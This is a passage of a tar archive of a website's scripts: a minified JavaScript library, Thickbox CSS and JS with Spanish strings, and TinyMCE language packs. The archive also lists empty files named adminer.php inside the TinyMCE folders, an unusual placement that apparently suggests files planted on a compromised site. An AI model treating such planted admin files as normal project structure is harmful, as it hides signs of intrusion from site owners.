i=0;i<c._supers.length;i++){if(_STNS.bIsIE){this.constructor=c._supers[i];}c._supers[i].call(this,as);}if(_STNS.bIsIE){this.constructor=c;}this._cls=c;this.toString=_d6;this.getClass=_d7;this.instanceOf=_d8;this.toConvert=_d9;if(c.construct){c.construct.call(this,as);}};var _d9=function(cls,as){var c=this._cls;if(_c6(c,cls)){var t=new cls;for(var i in this){if(typeof t[i]=="undefined"){delete this[i];}if(cls[i]){this[i]=cls[i];}}}else{if(_c6(cls,c)){var f=0;for(var i=0;i<cls._supers.length;i++){if(_STNS.bIsIE){this.constructor=cls._supers[i];}if(cls._supers[i]!=c){cls._supers[i].call(this,as);}else{f=1;}}if(!f){_STNS.fvThrow(new Error("_STNS.runTime error:Can't convert this instance;The class of instance must be the target class's direct superClass!"));return;}if(_STNS.bIsIE){this.constructor=cls;}this._cls=cls;if(cls.construct){cls.construct.call(this,as);}}else{_STNS.fvThrow(new Error("_STNS.runTime error:Can't convert this instance;The class of instance must be the target class's subClass or direct superClass!"));}}};var _d8=function(c){if(typeof c=="string"){c=_STNS.Class.getC(c);}if(typeof c!=="function"){return false;}return this._cls==c;};var _d7=function(){return this._cls;};var _d6=function(){if(this._cls._cn){return "[object Object "+this._cls._pkg+"/"+this._cls._cn+"]";}else{return "[object Object Anonymous class]";}};var _b5=function(){if(this._cn){return "[object Class "+this._pkg+"/"+this._cn+"]";}return "[object Anonymous Class]";};return _af;})();with(_STNS){sDocMd=fsGetDocMd();oNav=_foGetNav();bIsIE=oNav.name=="msie";bIsMIE=bIsIE&&oNav.platform=="mac";bIsOP=oNav.name=="opera";bIsFX=oNav.name=="gecko";bIsSF=oNav.name=="safari";bIsKQ=oNav.name=="konqueror";sDIR=fsGetDIR(sURL);bLocal=!sURL.indexOf("file:");_fvInitOnload();fbAddLoad(_fvCkPg);}}_STNS.fvInitLib();_STNS.fvInc(_STNS.fsGetAbsPth(_STNS.sLibPth+"stcode.js"));_STNS.fvLoadLib();if(!_STNS.bShield){_STNS.fvCSSShield();}if(typeof _STNS!="undefined"&&!_STNS.EFFECT){_STNS.EFFECT={foGetEff:function(s,id,w,d,o){if(!s){return 0;}if(/^stEffect\(.Open/i.test(s)&&_STNS.bIsIE){var dir=s.replace(/^.*[\(\,]Direction\=(\w+)[\)\,].*$/i,"$1");var d=s.replace(/^.*[\(\,]Duration\=([\d.]+)[\)\,].*$/i,"$1");d=(d==s?1:parseFloat(d));if(dir=="Down"||dir==s){s="progid:DXImageTransform.Microsoft.Zigzag(GridSizeX=16,GridSizeY=16,enabled=0,Duration="+d+")";d*=1000;o=5;}if(dir=="Middle"){s="progid:DXImageTransform.Microsoft.Barn(orientation=horizontal,motion=out,enabled=0,Duration="+d+")";d*=1000;o=16;}}if(/^stEffect\(.Active/i.test(s)&&_STNS.bIsIE){var d=s.replace(/^.*[\(\,]Duration\=([\d.]+)[\)\,].*$/i,"$1");if(d==s){d=(dd==s?1:parseFloat(d));}s="progid:DXImageTransform.Microsoft.Fade(overlap=.5,enabled=0,Duration="+d+")";d*=1000;o=12;}var t=s.toLowerCase(),c;if((!t.indexOf("progid:")||!t.indexOf("revealtrans"))&&_STNS.EFFECT["CEffIE"]){return new _STNS.EFFECT["CEffIE"]([s,id,w,d,o]);}else{if(!s.indexOf("stEffect")){s=s.substring(10,s.length-2);var cn="CEff"+s.charAt(0).toUpperCase()+s.substr(1).replace(/^(.*)\(.*$/,"$1");if(_STNS.EFFECT[cn]){return new _STNS.EFFECT[cn]([s,id,w,d,o]);}}else{return 0;}}}};with(_STNS.EFFECT){_STNS.EFFECT.CEffect=_STNS.Class();CEffect.register("EFFECT/CEffect");CEffect.construct=function(as){this._iStat=-1;this.sName=as[0];this.sDmId=as[1];this.dmWin=as[2]||window;with(_STNS.EFFECT.CEffect){this.fiGetStat=fiGetStat;this.sGetParam=sGetParam;this.fbSet=_STNS.fbFalse;this.fbDel=_STNS.fbFalse;this.fbApply=_STNS.fbFalse;this.fbPlay=_STNS.fbFalse;this.fbStop=_STNS.fbFalse;this.fbSetStyle=_STNS.fbFalse;this.fvAnalyzeParams=fvAnalyzeParams;}this.aParams=new Array();this.sParams=as[0].replace(/^.*\((.*)\).*$/,"$1");if(this.sParams==as[0]){this.sParams="";}};CEffect.fiGetStat=function(){return this._iStat;};CEffect.sGetParam=function(s){var b=this.sName.replace(new RegExp("^.*[\\(\\,]"+s+"\\=(\\d+)[\\,\\)].*$","i"),"$1");return this.sName==b?"":b;};CEffect.fvAnalyzeParams=function(){var ta=this.sParams.split(",");var a;for(var i=0;i<ta.length;i++){a=ta[i].split("=");a[1]=/^\d+$/.test(a[1])?parseInt(a[1]):(/^\d*\.\d+$/.test(a[1])?parseFloat(a[1]):a[1]);this.aParams[a[0]]=typeof (a[1])!="string"?a[1]:this._cls[a[1]]||a[1];}};}} thickbox.css 0000666 00000011424 15155054006 0007100 0 ustar 00 /* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> global settings needed for thickbox <<<-----------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ /*{padding: 0; margin: 0;} /* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> thickbox specific link and font settings <<<------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ #TB_window { font: 12px Arial, Helvetica, sans-serif; color: #BC0000; } #TB_secondLine { font: 11px Arial, Helvetica, sans-serif; color:#666666; } #TB_window a:link {color: #CCCCCC; text-decoration:none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:11px;} #TB_window a:visited {color: #CCCCCC; text-decoration:none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:11px;} #TB_window a:hover {color: #FFFFFF; text-decoration:none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:11px;} #TB_window a:active {color: #FFFFFF; text-decoration:none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:11px;} #TB_window a:focus{color: #FFFFFF; text-decoration:none; font-family:Arial, Helvetica, sans-serif; font-weight:bold; font-size:11px;} /* ----------------------------------------------------------------------------------------------------------------*/ /* ---------->>> thickbox settings <<<-----------------------------------------------------------------------------*/ /* ----------------------------------------------------------------------------------------------------------------*/ #TB_overlay { position: fixed; z-index:100; top: 0px; left: 0px; height:100%; width:100%; } .TB_overlayMacFFBGHack {background: url(img/macFFBgHack.png) repeat;} .TB_overlayBG { background-color:#000; filter:alpha(opacity=75); -moz-opacity: 0.75; opacity: 0.75; } * html #TB_overlay { /* ie6 hack */ position: absolute; height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); } #TB_window { position: fixed; background: #050505; z-index: 102; color:#000000; display:none; border: 2px solid #000000; text-align:left; top:50%; left:50%; } * html #TB_window { /* ie6 hack */ position: absolute; margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); } #TB_window img#TB_Image { display:block; margin: 15px 0 0 15px; border-right: 1px solid #020202; border-bottom: 1px solid #020202; border-top: 1px solid #020202; border-left: 1px solid #020202; } #TB_caption{ height:25px; padding:7px 30px 10px 25px; float:left; } #TB_closeWindow{ /*height:25px;*/ /*padding:11px 25px 10px 0;*/ padding:5px 15px 10px 0; float:right; } #TB_closeAjaxWindow{ padding:7px 10px 5px 0; margin-bottom:1px; text-align:right; float:right; } #TB_ajaxWindowTitle{ float:left; padding:7px 0 5px 10px; margin-bottom:1px; } #TB_title{ background-color:#e8e8e8; height:27px; } #TB_ajaxContent{ clear:both; padding:2px 15px 15px 15px; overflow:auto; text-align:left; line-height:1.4em; } #TB_ajaxContent.TB_modal{ padding:15px; } #TB_ajaxContent p{ padding:5px 0px 5px 0px; } #TB_load{ position: fixed; display:none; height:13px; width:208px; z-index:103; top: 50%; left: 50%; margin: -6px 0 0 -104px; /* -height/2 0 0 -width/2 */ } * html #TB_load { /* ie6 hack */ position: absolute; margin-top: expression(0 - parseInt(this.offsetHeight / 2) + (TBWindowMargin = document.documentElement && document.documentElement.scrollTop || document.body.scrollTop) + 'px'); } #TB_HideSelect{ z-index:99; position:fixed; top: 0; left: 0; background-color:#fff; border:none; filter:alpha(opacity=0); -moz-opacity: 0; opacity: 0; height:100%; width:100%; } * html #TB_HideSelect { /* ie6 hack */ position: absolute; height: expression(document.body.scrollHeight > document.body.offsetHeight ? document.body.scrollHeight : document.body.offsetHeight + 'px'); } #TB_iframeContent{ clear:both; border:none; margin-bottom:-1px; margin-top:1px; _margin-bottom:1px; } thickbox.js 0000666 00000030267 15155054006 0006732 0 ustar 00 /* * Thickbox 3.1 - One Box To Rule Them All. * By Cody Lindley (http://www.codylindley.com) * Copyright (c) 2007 cody lindley * Licensed under the MIT License: http://www.opensource.org/licenses/mit-license.php */ //Arreglo por no se que problema con algunas versiones de explorer if(/MSIE (\d+\.\w*);/i.test(window.navigator.userAgent))jQuery.browser.version = parseFloat(RegExp.$1); var tb_pathToImage = "img/cargando.gif"; /*!!!!!!!!!!!!!!!!! edit below this line at your own risk !!!!!!!!!!!!!!!!!!!!!!!*/ //on page load call tb_init $(document).ready(function(){ tb_init('a.thickbox, area.thickbox, input.thickbox');//pass where to apply thickbox imgLoader = new Image();// preload image imgLoader.src = tb_pathToImage; }); //add thickbox to href & area elements that have a class of .thickbox function tb_init(domChunk){ $(domChunk).click(function(){ var t = this.title || this.name || null; var a = this.href || this.alt; var g = this.rel || false; tb_show(t,a,g); this.blur(); return false; }); } function tb_show(caption, url, imageGroup) {//function called when the user clicks on a thickbox link try { if (typeof document.body.style.maxHeight === "undefined") {//if IE 6 $("body","html").css({height: "100%", width: "100%"}); $("html").css("overflow","hidden"); if (document.getElementById("TB_HideSelect") === null) {//iframe to hide select elements in ie6 $("body").append("<iframe id='TB_HideSelect'></iframe><div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } }else{//all others if(document.getElementById("TB_overlay") === null){ $("body").append("<div id='TB_overlay'></div><div id='TB_window'></div>"); $("#TB_overlay").click(tb_remove); } } if(tb_detectMacXFF()){ $("#TB_overlay").addClass("TB_overlayMacFFBGHack");//use png overlay so hide flash }else{ $("#TB_overlay").addClass("TB_overlayBG");//use background and opacity } if(caption===null){caption="";} $("body").append("<div id='TB_load'><img src='"+imgLoader.src+"' /></div>");//add loader to the page $('#TB_load').show();//show loader var baseURL; if(url.indexOf("?")!==-1){ //ff there is a query string involved baseURL = url.substr(0, url.indexOf("?")); }else{ baseURL = url; } var urlString = /\.jpg$|\.jpeg$|\.png$|\.gif$|\.bmp$/; var urlType = baseURL.toLowerCase().match(urlString); if(urlType == '.jpg' || urlType == '.jpeg' || urlType == '.png' || urlType == '.gif' || urlType == '.bmp'){//code to show images TB_PrevCaption = ""; TB_PrevURL = ""; TB_PrevHTML = ""; TB_NextCaption = ""; TB_NextURL = ""; TB_NextHTML = ""; TB_imageCount = ""; TB_FoundURL = false; if(imageGroup){ TB_TempArray = $("a[@rel="+imageGroup+"]").get(); for (TB_Counter = 0; ((TB_Counter < TB_TempArray.length) && (TB_NextHTML === "")); TB_Counter++) { var urlTypeTemp = TB_TempArray[TB_Counter].href.toLowerCase().match(urlString); if (!(TB_TempArray[TB_Counter].href == url)) { if (TB_FoundURL) { TB_NextCaption = TB_TempArray[TB_Counter].title; TB_NextURL = TB_TempArray[TB_Counter].href; TB_NextHTML = "<span id='TB_next'> <a href='#'>Siguiente »</a></span>"; } else { TB_PrevCaption = TB_TempArray[TB_Counter].title; TB_PrevURL = TB_TempArray[TB_Counter].href; TB_PrevHTML = "<span id='TB_prev'> <a href='#'>« Anterior</a></span>"; } } else { TB_FoundURL = true; TB_imageCount = "Imagen " + (TB_Counter + 1) +" de "+ (TB_TempArray.length); } } } imgPreloader = new Image(); imgPreloader.onload = function(){ imgPreloader.onload = null; // Resizing large images - orginal by Christian Montoya edited by me. var pagesize = tb_getPageSize(); var x = pagesize[0] - 150; var y = pagesize[1] - 150; var imageWidth = imgPreloader.width; var imageHeight = imgPreloader.height; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; } } else if (imageHeight > y) { imageWidth = imageWidth * (y / imageHeight); imageHeight = y; if (imageWidth > x) { imageHeight = imageHeight * (x / imageWidth); imageWidth = x; } } // End Resizing TB_WIDTH = imageWidth + 30; TB_HEIGHT = imageHeight + 60; $("#TB_window").append("<a href='' id='TB_ImageOff' title='Close'><img id='TB_Image' src='"+url+"' width='"+imageWidth+"' height='"+imageHeight+"' alt='"+caption+"'/></a>" + "<div id='TB_caption'>"+caption+"<div id='TB_secondLine'>" + TB_imageCount +TB_PrevHTML + TB_NextHTML + "</div></div><div id='TB_closeWindow'><a href='#' id='TB_closeWindowButton' title='Cerrar' style='font-size:16px;'>x</a></div>"); $("#TB_closeWindowButton").click(tb_remove); if (!(TB_PrevHTML === "")) { function goPrev(){ if($(document).unbind("click",goPrev)){$(document).unbind("click",goPrev);} $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_PrevCaption, TB_PrevURL, imageGroup); return false; } $("#TB_prev").click(goPrev); } if (!(TB_NextHTML === "")) { function goNext(){ $("#TB_window").remove(); $("body").append("<div id='TB_window'></div>"); tb_show(TB_NextCaption, TB_NextURL, imageGroup); return false; } $("#TB_next").click(goNext); } document.onkeydown = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } else if(keycode == 190){ // display previous image if(!(TB_NextHTML == "")){ document.onkeydown = ""; goNext(); } } else if(keycode == 188){ // display next image if(!(TB_PrevHTML == "")){ document.onkeydown = ""; goPrev(); } } }; tb_position(); $("#TB_load").remove(); $("#TB_ImageOff").click(tb_remove); $("#TB_window").css({display:"block"}); //for safari using css instead of show }; imgPreloader.src = url; }else{//code to show html var queryString = url.replace(/^[^\?]+\??/,''); var params = tb_parseQuery( queryString ); TB_WIDTH = (params['width']*1) + 30 || 630; //defaults to 630 if no paramaters were added to URL TB_HEIGHT = (params['height']*1) + 40 || 440; //defaults to 440 if no paramaters were added to URL ajaxContentW = TB_WIDTH - 30; ajaxContentH = TB_HEIGHT - 45; if(url.indexOf('TB_iframe') != -1){// either iframe or ajax window urlNoQuery = url.split('TB_'); $("#TB_iframeContent").remove(); if(params['modal'] != "true"){//iframe no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton' title='Close'>close</a> or Esc Key</div></div><iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;' > </iframe>"); }else{//iframe modal $("#TB_overlay").unbind(); $("#TB_window").append("<iframe frameborder='0' hspace='0' src='"+urlNoQuery[0]+"' id='TB_iframeContent' name='TB_iframeContent"+Math.round(Math.random()*1000)+"' onload='tb_showIframe()' style='width:"+(ajaxContentW + 29)+"px;height:"+(ajaxContentH + 17)+"px;'> </iframe>"); } }else{// not an iframe, ajax if($("#TB_window").css("display") != "block"){ if(params['modal'] != "true"){//ajax no modal $("#TB_window").append("<div id='TB_title'><div id='TB_ajaxWindowTitle'>"+caption+"</div><div id='TB_closeAjaxWindow'><a href='#' id='TB_closeWindowButton'>close</a> or Esc Key</div></div><div id='TB_ajaxContent' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px'></div>"); }else{//ajax modal $("#TB_overlay").unbind(); $("#TB_window").append("<div id='TB_ajaxContent' class='TB_modal' style='width:"+ajaxContentW+"px;height:"+ajaxContentH+"px;'></div>"); } }else{//this means the window is already up, we are just loading new content via ajax $("#TB_ajaxContent")[0].style.width = ajaxContentW +"px"; $("#TB_ajaxContent")[0].style.height = ajaxContentH +"px"; $("#TB_ajaxContent")[0].scrollTop = 0; $("#TB_ajaxWindowTitle").html(caption); } } $("#TB_closeWindowButton").click(tb_remove); if(url.indexOf('TB_inline') != -1){ $("#TB_ajaxContent").append($('#' + params['inlineId']).children()); $("#TB_window").unload(function () { $('#' + params['inlineId']).append( $("#TB_ajaxContent").children() ); // move elements back when you're finished }); tb_position(); $("#TB_load").remove(); $("#TB_window").css({display:"block"}); }else if(url.indexOf('TB_iframe') != -1){ tb_position(); if($.browser.safari){//safari needs help because it will not fire iframe onload $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } }else{ $("#TB_ajaxContent").load(url += "&random=" + (new Date().getTime()),function(){//to do a post change this load method tb_position(); $("#TB_load").remove(); tb_init("#TB_ajaxContent a.thickbox"); $("#TB_window").css({display:"block"}); }); } } if(!params['modal']){ document.onkeyup = function(e){ if (e == null) { // ie keycode = event.keyCode; } else { // mozilla keycode = e.which; } if(keycode == 27){ // close tb_remove(); } }; } } catch(e) { //nothing here } } //helper functions below function tb_showIframe(){ $("#TB_load").remove(); $("#TB_window").css({display:"block"}); } function tb_remove() { $("#TB_imageOff").unbind("click"); $("#TB_closeWindowButton").unbind("click"); $("#TB_window").fadeOut("fast",function(){$('#TB_window,#TB_overlay,#TB_HideSelect').trigger("unload").unbind().remove();}); $("#TB_load").remove(); if (typeof document.body.style.maxHeight == "undefined") {//if IE 6 $("body","html").css({height: "auto", width: "auto"}); $("html").css("overflow",""); } document.onkeydown = ""; document.onkeyup = ""; return false; } function tb_position() { $("#TB_window").css({marginLeft: '-' + parseInt((TB_WIDTH / 2),10) + 'px', width: TB_WIDTH + 'px'}); if ( !(jQuery.browser.msie && jQuery.browser.version < 7)) { // take away IE6 $("#TB_window").css({marginTop: '-' + parseInt((TB_HEIGHT / 2),10) + 'px'}); } } function tb_parseQuery ( query ) { var Params = {}; if ( ! query ) {return Params;}// return empty object var Pairs = query.split(/[;&]/); for ( var i = 0; i < Pairs.length; i++ ) { var KeyVal = Pairs[i].split('='); if ( ! KeyVal || KeyVal.length != 2 ) {continue;} var key = unescape( KeyVal[0] ); var val = unescape( KeyVal[1] ); val = val.replace(/\+/g, ' '); Params[key] = val; } return Params; } function tb_getPageSize(){ var de = document.documentElement; var w = window.innerWidth || self.innerWidth || (de&&de.clientWidth) || document.body.clientWidth; var h = window.innerHeight || self.innerHeight || (de&&de.clientHeight) || document.body.clientHeight; arrayPageSize = [w,h]; return arrayPageSize; } function tb_detectMacXFF() { var userAgent = navigator.userAgent.toLowerCase(); if (userAgent.indexOf('mac') != -1 && userAgent.indexOf('firefox')!=-1) { return true; } } tiny_mce/adminer.php 0000666 00000000000 15155054006 0010476 0 ustar 00 tiny_mce/blank.htm 0000666 00000000336 15155054006 0010163 0 ustar 00 <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>blank_page</title> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> </head> <body class="mceContentBody"> </body> </html> tiny_mce/langs/adminer.php 0000666 00000000000 15155054006 0011602 0 ustar 00 tiny_mce/langs/ca.js 0000666 00000011431 15155054006 0010405 0 ustar 00 tinyMCE.addI18n({ca:{ common:{ edit_confirm:"Vols utilitzar el mode visible (WYSIWYG) per a aquesta \u00E0rea de text?", apply:"Aplica", insert:"Insereix", update:"Actualitza", cancel:"Cancel\u00B7la", close:"Tanca", browse:"Explora", class_name:"Classe", not_set:"-- Sense establir --", clipboard_msg:"Copia/Retalla/Enganxa no est\u00E0 disponible en Mozilla/Firefox.\nVols m\u00E9s informaci\u00F3 sobre aquest tema?", clipboard_no_support:"Actualment no est\u00E0 suportat pel teu navegador, utilitza les dreceres de teclat en lloc seu.", popup_blocked:"Ho sentim, per\u00F2 ens hem adonat que el teu bloquejador de finestres emergents ha desactivat una finestra que proporciona funcionalitat a l'aplicaci\u00F3. Haur\u00E0s de desactivar el blocatge de finestres emergents en aquest lloc per tal d'utilitzar plenament aquesta eina.", invalid_data:"Error: Has introdu\u00EFt valors incorrectes, te'ls marquem en vermell.", more_colors:"M\u00E9s colors" }, contextmenu:{ align:"Alineaci\u00F3", left:"Esquerra", center:"Centrat", right:"Dreta", full:"Justificat" }, insertdatetime:{ date_fmt:"%d-%m-%Y", time_fmt:"%H:%M:%S", insertdate_desc:"Insereix la data", inserttime_desc:"Insereix l'hora", months_long:"Gener,Febrer,Mar\u00E7,Abril,Maig,Juny,Juliol,Agost,Setembre,Octubre,Novembre,Desembre", months_short:"Gen,Feb,Mar,Abr,Mai,Jun,Jul,Ago,Set,Oct,Nov,Des", day_long:"Diumenge,Dilluns,Dimarts,Dimecres,Dijous,Divendres,Dissabte,Diumenge", day_short:"Dmg,Dll,Dmt,Dmc,Djs,Dvs,Dss,Dmg" }, print:{ print_desc:"Imprimeix" }, preview:{ preview_desc:"Vista pr\u00E8via" }, directionality:{ ltr_desc:"Direcci\u00F3 d'esquerra a dreta", rtl_desc:"Direcci\u00F3 de dreta a esquerra" }, layer:{ insertlayer_desc:"Insereix capa nova", forward_desc:"Despla\u00E7a endavant", backward_desc:"Despla\u00E7a endarrere", absolute_desc:"Canvia el posicionament absolut", content:"Nova capa..." }, save:{ save_desc:"Desa", cancel_desc:"Cancel\u00B7la tots els canvis" }, nonbreaking:{ nonbreaking_desc:"Insereix espai no separable" }, iespell:{ iespell_desc:"Comprovaci\u00F3 ortogr\u00E0fica", download:"No s'ha detectat ieSpell. Vols instal\u00B7lar-lo ara?" }, advhr:{ advhr_desc:"Regle horitzontal" }, emotions:{ emotions_desc:"Emoticones" }, searchreplace:{ search_desc:"Busca", replace_desc:"Busca/Substitueix" }, advimage:{ image_desc:"Insereix/edita imatge" }, advlink:{ link_desc:"Insereix/edita enlla\u00E7" }, xhtmlxtras:{ cite_desc:"Citaci\u00F3", abbr_desc:"Abreujament", acronym_desc:"Acr\u00F2nim", del_desc:"Supressi\u00F3", ins_desc:"Inserci\u00F3", attribs_desc:"Insereix/Edita Atributs" }, style:{ desc:"Edita l'Estil CSS" }, paste:{ paste_text_desc:"Enganxa com a Text Planer", paste_word_desc:"Enganxa des de Word", selectall_desc:"Selecciona-ho Tot" }, paste_dlg:{ text_title:"Utilitza CTRL+V al teclat per enganxar el text a la finestra.", text_linebreaks:"Mantingues els salts de l\u00EDnia", word_title:"Utilitza CTRL+V al teclat per enganxar el text a la finestra." }, table:{ desc:"Insereix una nova taula", row_before_desc:"Insereix fila abans", row_after_desc:"Insereix fila despr\u00E9s", delete_row_desc:"Suprimeix fila", col_before_desc:"Insereix columna abans", col_after_desc:"Insereix columna despr\u00E9s", delete_col_desc:"Elimina columna", split_cells_desc:"Parteix les cel\u00B7les refoses de la taula", merge_cells_desc:"Refon les cel\u00B7les de la taula", row_desc:"Propietats de la fila de la taula", cell_desc:"Propietats de la cel\u00B7la de la taula", props_desc:"Propietats de la taula", paste_row_before_desc:"Enganxa la fila de la taula abans", paste_row_after_desc:"Enganxa la fila de la taula despr\u00E9s", cut_row_desc:"Retalla la fila de la taula", copy_row_desc:"Copia la fila de la taula", del:"Suprimeix la taula", row:"Fila", col:"Columna", cell:"Cel\u00B7la" }, autosave:{ unload_msg:"Els canvis que has fet es perdran si surts d'aquesta p\u00E0gina." }, fullscreen:{ desc:"Mode de pantalla completa" }, media:{ desc:"Insereix / edita mitj\u00E0 encastat", edit:"Edita mitj\u00E0 encastat" }, fullpage:{ desc:"Propietats del document" }, template:{ desc:"Insereix contingut predefinit de plantilla" }, visualchars:{ desc:"Car\u00E0cters de control visual des/activats." }, spellchecker:{ desc:"Des/activa el corrector ortogr\u00E0fic", menu:"Configuraci\u00F3 del corrector", ignore_word:"Ignora", ignore_words:"Ignora-les totes", langs:"Idiomes", wait:"Espera, si et plau...", sug:"Suggeriments", no_sug:"No hi ha cap suggeriment", no_mpell:"No s'ha trobat cap incorrecci\u00F3." }, pagebreak:{ desc:"Insereix salt de p\u00E0gina." }}}); tiny_mce/langs/en.js 0000666 00000011576 15155054006 0010436 0 ustar 00 tinyMCE.addI18n({en:{ common:{ edit_confirm:"Do you want to use the WYSIWYG mode for this textarea?", apply:"Apply", insert:"Insert", update:"Update", cancel:"Cancel", close:"Close", browse:"Browse", class_name:"Class", not_set:"-- Not set --", clipboard_msg:"Copy/Cut/Paste is not available in Mozilla and Firefox.\nDo you want more information about this issue?", clipboard_no_support:"Currently not supported by your browser, use keyboard shortcuts instead.", popup_blocked:"Sorry, but we have noticed that your popup-blocker has disabled a window that provides application functionality. You will need to disable popup blocking on this site in order to fully utilize this tool.", invalid_data:"Error: Invalid values entered, these are marked in red.", more_colors:"More colors" }, contextmenu:{ align:"Alignment", left:"Left", center:"Center", right:"Right", full:"Full" }, insertdatetime:{ date_fmt:"%Y-%m-%d", time_fmt:"%H:%M:%S", insertdate_desc:"Insert date", inserttime_desc:"Insert time", months_long:"January,February,March,April,May,June,July,August,September,October,November,December", months_short:"Jan,Feb,Mar,Apr,May,Jun,Jul,Aug,Sep,Oct,Nov,Dec", day_long:"Sunday,Monday,Tuesday,Wednesday,Thursday,Friday,Saturday,Sunday", day_short:"Sun,Mon,Tue,Wed,Thu,Fri,Sat,Sun" }, print:{ print_desc:"Print" }, preview:{ preview_desc:"Preview" }, directionality:{ ltr_desc:"Direction left to right", rtl_desc:"Direction right to left" }, layer:{ insertlayer_desc:"Insert new layer", forward_desc:"Move forward", backward_desc:"Move backward", absolute_desc:"Toggle absolute positioning", content:"New layer..." }, save:{ save_desc:"Save", cancel_desc:"Cancel all changes" }, nonbreaking:{ nonbreaking_desc:"Insert non-breaking space character" }, iespell:{ iespell_desc:"Run spell checking", download:"ieSpell not detected. Do you want to install it now?" }, advhr:{ advhr_desc:"Horizontal rule" }, emotions:{ emotions_desc:"Emotions" }, searchreplace:{ search_desc:"Find", replace_desc:"Find/Replace" }, advimage:{ image_desc:"Insert/edit image" }, advlink:{ link_desc:"Insert/edit link" }, xhtmlxtras:{ cite_desc:"Citation", abbr_desc:"Abbreviation", acronym_desc:"Acronym", del_desc:"Deletion", ins_desc:"Insertion", attribs_desc:"Insert/Edit Attributes" }, style:{ desc:"Edit CSS Style" }, paste:{ paste_text_desc:"Paste as Plain Text", paste_word_desc:"Paste from Word", selectall_desc:"Select All", plaintext_mode_sticky:"Paste is now in plain text mode. Click again to toggle back to regular paste mode. After you paste something you will be returned to regular paste mode.", plaintext_mode:"Paste is now in plain text mode. Click again to toggle back to regular paste mode." }, paste_dlg:{ text_title:"Use CTRL+V on your keyboard to paste the text into the window.", text_linebreaks:"Keep linebreaks", word_title:"Use CTRL+V on your keyboard to paste the text into the window." }, table:{ desc:"Inserts a new table", row_before_desc:"Insert row before", row_after_desc:"Insert row after", delete_row_desc:"Delete row", col_before_desc:"Insert column before", col_after_desc:"Insert column after", delete_col_desc:"Remove column", split_cells_desc:"Split merged table cells", merge_cells_desc:"Merge table cells", row_desc:"Table row properties", cell_desc:"Table cell properties", props_desc:"Table properties", paste_row_before_desc:"Paste table row before", paste_row_after_desc:"Paste table row after", cut_row_desc:"Cut table row", copy_row_desc:"Copy table row", del:"Delete table", row:"Row", col:"Column", cell:"Cell" }, autosave:{ unload_msg:"The changes you made will be lost if you navigate away from this page.", restore_content:"Restore auto-saved content.", warning_message:"If you restore the saved content, you will lose all the content that is currently in the editor.\n\nAre you sure you want to restore the saved content?." }, fullscreen:{ desc:"Toggle fullscreen mode" }, media:{ desc:"Insert / edit embedded media", edit:"Edit embedded media" }, fullpage:{ desc:"Document properties" }, template:{ desc:"Insert predefined template content" }, visualchars:{ desc:"Visual control characters on/off." }, spellchecker:{ desc:"Toggle spellchecker", menu:"Spellchecker settings", ignore_word:"Ignore word", ignore_words:"Ignore all", langs:"Languages", wait:"Please wait...", sug:"Suggestions", no_sug:"No suggestions", no_mpell:"No misspellings found." }, pagebreak:{ desc:"Insert page break." }, advlist:{ types:"Types", def:"Default", lower_alpha:"Lower alpha", lower_greek:"Lower greek", lower_roman:"Lower roman", upper_alpha:"Upper alpha", upper_roman:"Upper roman", circle:"Circle", disc:"Disc", square:"Square" }}}); tiny_mce/langs/es.js 0000666 00000010763 15155054006 0010440 0 ustar 00 tinyMCE.addI18n({es:{ common:{ edit_confirm:"\u00BFDesea utilizar el modo WYSIWYG para esta caja de texto?", apply:"Aplicar", insert:"Insertar", update:"Actualizar", cancel:"Cancelar", close:"Cerrar", browse:"Examinar", class_name:"Clase", not_set:"-- Ninguno --", clipboard_msg:"Copiar/Cortar/Pegar no se encuentra disponible en Mozilla y Firefox.\n\u00BFDesea obtener m\u00E1s informaci\u00F3n acerca de este tema?", clipboard_no_support:"Su navegador no soporta las funciones de cortapapeles, use los accesos por teclado.", popup_blocked:"Lo sentimos, su bloqueo de ventanas emergentes ha deshabilitado una ventana que provee funcionalidades a la aplicaci\u00F3n. Necesita deshabilitar este bloqueo en este sitio para poder utilizar todas las funciones.", invalid_data:"Error: Introdujo un valor no v\u00E1lido, est\u00E1n marcados en rojo.", more_colors:"M\u00E1s colores" }, contextmenu:{ align:"Alineaci\u00F3n", left:"Izquierda", center:"Centrado", right:"Derecha", full:"Justificado" }, insertdatetime:{ date_fmt:"%d-%m-%Y", time_fmt:"%H:%M:%S", insertdate_desc:"Insertar fecha", inserttime_desc:"Insertar hora", months_long:"Enero,Febrero,Marzo,Abril,Mayo,Junio,Julio,Agosto,Septiembre,Octubre,Noviembre,Diciembre", months_short:"Ene,Feb,Mar,Abr,May,Jun,Jul,Ago,Sep,Oct,Nov,Dic", day_long:"Domingo,Lunes,Martes,Mi\u00E9rcoles,Jueves,Viernes,S\u00E1bado,Domingo", day_short:"Dom,Lun,Mar,Mie,Jue,Vie,Sab,Dom" }, print:{ print_desc:"Imprimir" }, 